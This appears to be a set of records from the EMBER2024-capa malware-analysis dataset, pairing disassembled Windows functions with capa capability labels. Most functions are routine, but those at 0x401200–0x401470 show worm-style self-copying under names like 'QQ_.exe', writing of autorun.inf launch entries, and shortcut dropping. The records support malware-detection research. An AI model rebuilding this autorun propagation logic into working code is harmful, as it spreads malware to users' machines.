joyce8/EMBER2024-capa huggingface dataset:
Function at 0x411b8f
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 8], 1
mov dword [ebp - 0xc], ebx
mov eax, ebx
mov dword [ebp - 0x10], eax
mov esi, edx
mov dword [ebp - 4], ebx
push 4
pop edi
mov dword [ebp - 0x14], edi
test ecx, ecx
je 0x411bdb
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xc]
push eax
push ebx
push esi
push ecx
call dword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegQueryValueExW]
test eax, eax
jne 0x411bd8
cmp dword [ebp - 0xc], edi
je 0x411c10
mov eax, dword [ebp - 0x10]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 0x401f18
push 0x80000001
call dword [sym.imp.api_ms_win_core_registry_l2_1_0.dll_RegCreateKeyW]
test eax, eax
jne 0x411c10
push edi
lea eax, [ebp - 0x10]
push eax
push edi
push ebx
push esi
push dword [ebp - 4]
call dword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegSetValueExW]
push dword [ebp - 4]
call dword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegCloseKey]
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x411c20
Capabilities:
Query or enumerate registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
and dword [ebp - 4], 0
xor eax, eax
push esi
mov esi, dword [ebp + 0xc]
push edi
mov word [esi], ax
mov eax, dword [ebp + 0x10]
lea edi, [eax + eax]
mov dword [ebp - 8], edi
test ecx, ecx
je 0x411c5f
lea eax, [ebp - 8]
push eax
push esi
lea eax, [ebp - 4]
push eax
push 0
push edx
push ecx
call dword [sym.imp.api_ms_win_core_registry_l1_1_0.dll_RegQueryValueExW]
test eax, eax
jne 0x411c5f
cmp dword [ebp - 4], 1
je 0x411c6c
push edi
push dword [ebp + 8]
push esi
call sub.api_ms_win_crt_private_l1_1_0.dll_memcpy
add esp, 0xc
pop edi
pop esi
leave
ret 0xc
Function at 0x422b45
Capabilities:
Get common file path

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
mov edx, dword [ebp + 8]
push ebx
mov ebx, ecx
xor ecx, ecx
push esi
push edi
mov dword [ebp - 4], ecx
mov dword [ebx + 4], ecx
mov dword [ebx], 0x4011ec
mov eax, dword [edx]
mov dword [ebx + 8], eax
mov dword [edx], ecx
mov byte [ebx + 0xc], cl
push ecx
lea ecx, [ebp - 4]
call fcn.0040c12b
lea eax, [ebp - 4]
xor esi, esi
push eax
push esi
push esi
push 0x4051ec
call dword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
test eax, eax
js 0x422be7
mov edx, dword [ebp - 4]
test edx, edx
je 0x422bf6
mov edi, edx
lea ecx, [edi + 2]
mov ax, word [edi]
add edi, 2
cmp ax, si
jne 0x422b98
sub edi, ecx
lea ecx, [ebp - 8]
sar edi, 1
lea eax, [edi + 9]
push eax
call fcn.0040c916
mov esi, dword [ebp - 8]
push 0x40288c
push 9
pop edx
lea ecx, [esi + edi*2]
call fcn.0040675d
test eax, eax
js 0x422bdc
lea eax, [ebp - 8]
lea ecx, [ebx + 4]
cmp ecx, eax
je 0x422bdc
push esi
call fcn.0040c12b
xor esi, esi
test esi, esi
je 0x422be7
push esi
call dword [sym.imp.api_ms_win_core_com_l1_1_0.dll_CoTaskMemFree]
cmp dword [ebp - 4], 0
je 0x422bf6
push dword [ebp - 4]
call dword [sym.imp.api_ms_win_core_com_l1_1_0.dll_CoTaskMemFree]
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret 4
Function at 0x423318
Capabilities:
Get disk size

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
mov edi, ecx
call fcn.004233ec
test al, al
je 0x4233e1
mov eax, dword [edi + 4]
xor ebx, ebx
mov esi, eax
mov dword [ebp - 4], eax
lea ecx, [esi + 2]
mov ax, word [esi]
add esi, 2
cmp ax, bx
jne 0x42333f
sub esi, ecx
xor edx, edx
sar esi, 1
lea ecx, [ebp - 8]
add esi, 0x10
push esi
call fcn.0040c916
push 0x402934
push dword [ebp - 4]
push 0x402954
push esi
mov esi, dword [ebp - 8]
push esi
call fcn.00406803
add esp, 0x14
test eax, eax
js 0x4233d4
push ebx
push 0x82
push 2
push ebx
push ebx
push 0xc0000000
push esi
call dword [sym.imp.api_ms_win_core_file_l1_1_0.dll_CreateFileW]
cmp eax, 0xffffffff
je 0x4233d4
push eax
call dword [sym.imp.api_ms_win_core_handle_l1_1_0.dll_CloseHandle]
push ebx
push ebx
lea eax, [ebp - 0x10]
push eax
push dword [edi + 4]
call dword [sym.imp.api_ms_win_core_file_l1_1_0.dll_GetDiskFreeSpaceExW]
test eax, eax
je 0x4233d4
push ebx
push ebx
push 0xe
push dword [0x42adac]
call dword [sym.imp.USER32.dll_SendMessageW]
lea eax, [eax*2 + 2]
cmp ebx, dword [ebp - 0xc]
ja 0x4233d4
jb 0x4233d2
cmp eax, dword [ebp - 0x10]
ja 0x4233d4
mov bl, 1
test esi, esi
je 0x4233df
push esi
call dword [sym.imp.api_ms_win_core_com_l1_1_0.dll_CoTaskMemFree]
mov al, bl
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4233ec
Capabilities:
Create directory

Disassembly:
mov edi, edi
push ebx
xor ebx, ebx
push ebx
push dword [ecx + 4]
call dword [sym.imp.api_ms_win_core_file_l1_1_0.dll_CreateDirectoryW]
test eax, eax
jne 0x42340c
call dword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_GetLastError]
cmp eax, 0xb7
jne 0x42340e
mov bl, 1
mov al, bl
pop ebx
ret
Function at 0x423b90
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x38
cmp dword [0x429100], 4
push esi
push edi
mov esi, edx
mov edi, ecx
jbe 0x423cd5
push 0x2000
push 0
call fcn.0040634a
test al, al
je 0x423cd5
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x2c], eax
mov ax, word [edi + 0x20]
mov word [ebp - 2], ax
mov ax, word [edi + 0x1e]
mov word [ebp - 4], ax
mov ax, word [edi + 0x1c]
mov word [ebp - 6], ax
mov ax, word [edi + 0x1a]
mov word [ebp - 8], ax
mov ax, word [edi + 0x18]
mov word [ebp - 0xa], ax
mov ax, word [edi + 0x16]
mov word [ebp - 0xc], ax
mov ax, word [edi + 0x14]
mov word [ebp - 0xe], ax
mov ax, word [edi + 0x12]
mov word [ebp - 0x10], ax
mov ax, word [edi + 0x10]
mov word [ebp - 0x12], ax
mov ax, word [edi + 0xe]
mov word [ebp - 0x14], ax
mov ax, word [edi + 0xc]
mov word [ebp - 0x16], ax
mov ax, word [edi + 0xa]
mov word [ebp - 0x18], ax
mov ax, word [edi + 8]
mov word [ebp - 0x1a], ax
mov ax, word [edi + 6]
mov word [ebp - 0x1c], ax
mov ax, word [edi + 4]
mov word [ebp - 0x1e], ax
mov ax, word [edi + 2]
mov word [ebp - 0x20], ax
mov ax, word [edi]
mov word [ebp - 0x22], ax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x2c]
add dword [0x42a908], 1
push eax
lea eax, [ebp - 0x30]
adc dword [0x42a90c], 0
push eax
lea eax, [ebp - 2]
mov dword [ebp - 0x30], esi
push eax
lea eax, [ebp - 4]
mov dword [ebp - 0x34], 0x42a908
push eax
lea eax, [ebp - 6]
mov dword [ebp - 0x38], 0x42a8f4
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xa]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0xe]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x12]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x16]
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x1a]
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x1e]
push eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x22]
mov edx, 0x405607
push eax
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x38]
push eax
push ecx
push ecx
call fcn.00406020
push 8
pop ecx
xor eax, eax
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
pop edi
pop esi
leave
ret 8
Function at 0x4241ad
Capabilities:
Create process on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2d4
mov eax, dword [0x4291b0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x26a
xor ebx, ebx
lea eax, [ebp - 0x276]
push ebx
push eax
mov esi, ecx
call sub.api_ms_win_crt_string_l1_1_0.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x276]
mov edx, 0x135
push 0x22
pop eax
mov word [ebp - 0x278], ax
call fcn.00424116
mov edi, 0x136
lea ecx, [ebp - 0x278]
push 0x402ab4
mov edx, edi
call fcn.00406792
push esi
mov edx, edi
lea ecx, [ebp - 0x278]
call fcn.00406792
push 0x44
pop esi
push esi
lea eax, [ebp - 0x2d0]
push ebx
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_memset
xor eax, eax
mov dword [ebp - 0x2d0], esi
lea edi, [ebp - 0x288]
add esp, 0xc
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x288]
push eax
lea eax, [ebp - 0x2d0]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x278]
push eax
push ebx
call dword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_CreateProcessW]
test eax, eax
lea eax, [ebp - 0x288]
push eax
setne bl
call fcn.00424176
mov ecx, dword [ebp - 4]
mov al, bl
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00426d60
leave
ret

Function at 0x424350
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, ecx
mov ebx, edx
push edi
test esi, esi
je 0x4243db
call fcn.004242c5
test eax, eax
je 0x4243db
mov edx, ebx
mov ecx, esi
call fcn.004243e8
test eax, eax
je 0x4243db
push eax
call dword [sym.imp.api_ms_win_core_libraryloader_l1_2_0.dll_LockResource]
mov dword [ebp - 4], eax
test eax, eax
je 0x4243db
push 8
push 0x40
call dword [sym.imp.api_ms_win_core_heap_l2_1_0.dll_LocalAlloc]
mov edi, eax
test edi, edi
je 0x4243db
test dword [esi + 0xc], 0x100
je 0x4243a7
mov ecx, dword [esi + 0x20]
mov dword [0x42a924], ecx
push edi
push 0x424460
mov dword [edi + 4], esi
mov dword [edi], ebx
push dword [esi + 4]
push dword [ebp - 4]
push dword [0x429d88]
call dword [sym.imp.USER32.dll_CreateDialogIndirectParamW]
mov esi, eax
test esi, esi
jne 0x4243d7
and dword [0x42a924], eax
push edi
call dword [sym.imp.api_ms_win_core_heap_l2_1_0.dll_LocalFree]
mov eax, esi
jmp 0x4243dd
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4243e8
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push esi
mov esi, ecx
test dword [esi + 0xc], 0x200
je 0x42440e
push 5
push dword [esi + 0x24]
push dword [esi + 8]
call dword [sym.imp.api_ms_win_core_libraryloader_l1_2_1.dll_FindResourceW]
test eax, eax
je 0x42444b
push eax
push dword [esi + 8]
jmp 0x424441
test dword [esi + 0xc], 0x2000
je 0x42441c
mov eax, dword [esi + 8]
jmp 0x424447
push 0x409
test edx, edx
jne 0x42442c
push 0x604
jmp 0x424431
push 0x605
call fcn.0042428d
test eax, eax
je 0x42444b
push eax
push dword [0x429d88]
call dword [sym.imp.api_ms_win_core_libraryloader_l1_2_0.dll_LoadResource]
test eax, eax
jne 0x42444d
xor eax, eax
pop esi
ret
Function at 0x425b89
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov esi, ecx
mov edi, edx
push esi
call dword [sym.imp.api_ms_win_core_file_l1_1_0.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x425bf6
xor ebx, ebx
test eax, 0x4000
je 0x425bcb
push ebx
push esi
call dword [sym.imp.ADVAPI32.dll_DecryptFileW]
test eax, eax
jne 0x425bcb
mov ecx, dword [ebp + 4]
mov edx, 0xd6
push 0x404fe4
call fcn.0040752b
jmp 0x425bf8
cmp word [edi], bx
je 0x425bf6
mov edx, edi
mov ecx, esi
call fcn.004253e2
mov esi, eax
test esi, esi
jns 0x425bf6
mov ecx, dword [ebp + 4]
mov edx, 0xdc
push esi
push 0x404fe4
call fcn.0040750c
mov eax, esi
jmp 0x425bf8
xor eax, eax
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret

Function at 0x426f91
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push esi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
lea edx, [ecx + 0x18]
add edx, eax
movzx eax, word [ecx + 6]
imul esi, eax, 0x28
add esi, edx
cmp edx, esi
je 0x426fce
mov ecx, dword [ebp + 0xc]
cmp ecx, dword [edx + 0xc]
jb 0x426fc7
mov eax, dword [edx + 8]
add eax, dword [edx + 0xc]
cmp ecx, eax
jb 0x426fd3
add edx, 0x28
cmp edx, esi
jne 0x426fb8
xor eax, eax
pop esi
pop ebp
ret
mov eax, edx
jmp 0x426fd0

Function at 0x427580
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.api_ms_win_core_libraryloader_l1_2_0.dll_GetModuleHandleW]
test eax, eax
je 0x4275bf
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4275bf
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4275bf
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x4275bf
cmp dword [ecx + 0x74], 0xe
jbe 0x4275bf
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x401200
Capabilities:
Copy file

Disassembly:
sub esp, 0x32c
mov ecx, 0x41
xor eax, eax
push ebx
push ebp
push esi
push edi
lea edi, [esp + 0x138]
mov ebp, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x38]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x38]
push 0x100
push eax
push 0
call ebp
lea ecx, [esp + 0x38]
push str.cse.exe
push ecx
call fcn.00401670
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
add esp, 8
lea edx, [esp + 0x38]
mov byte [eax], 0
push str.QQ_.exe
push edx
mov byte [eax + 1], 0
call ebx
mov esi, dword [esp + 0x340]
lea eax, [esp + 0x138]
push esi
push str._s12321.exe
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea ecx, [esp + 0x138]
lea edx, [esp + 0x38]
push 0
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea eax, [esp + 0x10]
lea ecx, [esp + 0x23c]
push eax
push ecx
push 0x100
push 0
push str.12321.exe
push esi
call dword [sym.imp.KERNEL32.dll_SearchPathA]
mov edi, 1
test eax, eax
jne 0x40135a
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
lea edx, [esp + 0x38]
push 0x100
push edx
push 0
call ebp
lea eax, [esp + 0x38]
push str.cse.exe
push eax
call fcn.00401670
add esp, 8
lea ecx, [esp + 0x38]
mov byte [eax], 0
mov byte [eax + 1], 0
push str.QQ_.exe
push ecx
call ebx
push esi
lea edx, [esp + 0x13c]
push str._s12321.exe
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [esp + 0x138]
lea ecx, [esp + 0x38]
push 0
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea edx, [esp + 0x10]
lea eax, [esp + 0x23c]
push edx
push eax
push 0x100
push 0
push str.12321.exe
push esi
call dword [sym.imp.KERNEL32.dll_SearchPathA]
mov ecx, edi
inc edi
cmp ecx, 0x2710
jl 0x4012bc
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x32c
ret

Function at 0x401370
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x304
push ebx
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x210]
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x10]
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x110]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x110]
push str.12321.exe
push eax
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, dword [esp + 0x314]
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
push ecx
lea edx, [esp + 0x14]
push str._sautorun.inf
push edx
call esi
lea eax, [esp + 0x11c]
lea ecx, [esp + 0x21c]
push eax
push str._autorun__r_nOPEN_s_r_nICON0
push ecx
call esi
add esp, 0x18
mov ebx, dword [sym.imp.KERNEL32.dll_CreateFileA]
lea edx, [esp + 0x10]
push 0
push 0x80
push 2
push 0
push 3
push 0xc0000000
push edx
call ebx
mov edi, eax
mov esi, 1
cmp edi, 0xffffffff
jne 0x40143f
push 0
push 0x80
push 2
push 0
push 3
lea eax, [esp + 0x24]
push 0xc0000000
push eax
call ebx
mov ecx, esi
inc esi
cmp ecx, 5
mov edi, eax
jl 0x401417
lea edx, [esp + 0xc]
push 0
push edx
lea eax, [esp + 0x218]
push 0x100
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
add esp, 0x304
ret
Function at 0x401470
Capabilities:
Get common file path
Get session user name
Write file on windows

Disassembly:
sub esp, 0x608
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x30c]
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x40c]
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x20c]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x10c]
push 0x100
push eax
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0x100
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea ecx, [esp + 4]
lea edx, [esp + 0x50c]
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
push 1
lea eax, [esp + 0x110]
push 0x406144
push eax
call fcn.004016f0
add esp, 0xc
test eax, eax
pop edi
jne 0x401504
lea ecx, [esp + 8]
push 0x406144
push ecx
jmp 0x401599
push 1
lea edx, [esp + 0x10c]
push 0x406140
push edx
call fcn.004016f0
add esp, 0xc
test eax, eax
jne 0x401526
push 0x406140
jmp 0x401594
push 1
lea ecx, [esp + 0x10c]
push 0x40613c
push ecx
call fcn.004016f0
add esp, 0xc
test eax, eax
jne 0x40154d
lea edx, [esp + 8]
push 0x40613c
push edx
jmp 0x401599
push 1
lea eax, [esp + 0x10c]
push 0x406138
push eax
call fcn.004016f0
add esp, 0xc
test eax, eax
jne 0x401574
lea ecx, [esp + 8]
push 0x406138
push ecx
jmp 0x401599
push 1
lea edx, [esp + 0x10c]
push 0x406134
push edx
call fcn.004016f0
add esp, 0xc
test eax, eax
jne 0x40159f
push 0x406134
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push esi
lea ecx, [esp + 0x20c]
push 0x100
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
lea edx, [esp + 0x20c]
lea eax, [esp + 0x20c]
push edx
push eax
lea ecx, [esp + 0x414]
push str._InternetShortcut__nURL_s_nIconFile_s_nIconIndex0
push ecx
call esi
lea edx, [esp + 0x51c]
lea eax, [esp + 0x1c]
push edx
push eax
lea ecx, [esp + 0x324]
push str._sDocuments_and_Settings_s_
push ecx
call esi
add esp, 0x20
lea edx, [esp + 0x30c]
push 0
push 0x80
push 2
push 0
push 3
push 0xc0000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
lea eax, [esp + 8]
push 0
push eax
lea ecx, [esp + 0x414]
push 0x100
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
add esp, 0x608
ret
Function at 0x409880
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x47defb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.004729ce
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x409902
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.0047074d
mov eax, dword [eax]
push 0x4961c0
push eax
call fcn.004633c4
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.00472c59
test bl, bl
je 0x409902
push 0x4961c0
lea ecx, [esp + 0xc]
call fcn.00472fe9
push 0x499d54
lea ecx, [esp + 0xc]
call fcn.00472fe9
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x40993e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.00472c59
jmp 0x409a09
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x4099c2
lea edx, [esp + 0x7c]
push 0x499d50
push edx
call fcn.004633c4
add esp, 8
test eax, eax
je 0x4099c2
lea eax, [esp + 0x7c]
push 0x499d4c
push eax
call fcn.004633c4
add esp, 8
test eax, eax
je 0x4099c2
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x409952
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.00472c59
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x40a200
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x40a262
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x40a270
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x47df7b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x4a32c8]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x40a3a8
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x40a2d6
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.00472c59
xor eax, eax
jmp 0x40a41f
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.00472d96
push esi
lea ecx, [esp + 0xc]
call fcn.00473025
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x40a3fd
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push accept
call fcn.0040a200
test eax, eax
jne 0x40a3fd
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push accept
mov ecx, edi
call fcn.0040a200
test eax, eax
jne 0x40a3fd
lea eax, [esp + 0x14]
push 0x499d68
push eax
call fcn.00464440
mov esi, eax
add esp, 8
test esi, esi
jne 0x40a3dc
lea ecx, [esp + 0x14]
push 0x499d64
push ecx
call fcn.004643c0
mov esi, eax
add esp, 8
test esi, esi
jne 0x40a3dc
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x40a3df
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.00472d46
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x40a2ee
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.00472c59
xor eax, eax
jmp 0x40a41f
mov byte [esi], 0
push 0x499d60
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.00472c59
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4